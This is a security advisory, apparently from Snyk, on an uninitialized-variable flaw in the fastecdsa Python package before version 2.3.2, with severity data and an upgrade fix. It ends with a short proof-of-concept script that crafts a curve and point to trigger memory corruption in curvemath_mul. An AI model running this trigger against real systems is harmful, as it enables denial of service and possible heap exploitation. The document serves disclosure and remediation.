Use of Uninitialized Variable Affecting fastecdsa package, versions [,2.3.2)


0.0
high

Snyk CVSS

    Attack Complexity Low
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.05% (14th percentile)

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  • Snyk ID SNYK-PYTHON-FASTECDSA-6262045
  • published 23 Feb 2024
  • disclosed 20 Feb 2024
  • credit Vladimir Cherepanov

How to fix?

Upgrade fastecdsa to version 2.3.2 or higher.

Overview

fastecdsa is a python package for doing fast elliptic curve cryptography, specifically digital signatures.

Affected versions of this package are vulnerable to Use of Uninitialized Variable on the stack, via the curvemath_mul function in src/curveMath.c, due to being used and interpreted as user-defined type. Depending on the variable's actual value it could be arbitrary free(), arbitrary realloc(), null pointer dereference and other. Since the stack can be controlled by the attacker, the vulnerability could be used to corrupt allocator structure, leading to possible heap exploitation. The attacker could cause denial of service by exploiting this vulnerability.

PoC

#!/usr/bin/env python3

import sys
print(sys.version)

from fastecdsa.curve import Curve
from fastecdsa.point import Point

import time
time.sleep(2) # time to attach in gdb

MyCurve = Curve(
    p  = 0x10001,
    a  = 0x3,
    b  = 0x0,
    q  = 0x10202,
    gx = 0x427e,
    gy = 0x4ccb,
    name = 'MyCurve',
)

P = Point(x = 0, y = 0, curve = MyCurve)
print(P)

Q = 123 * P # trigger is here
print(Q)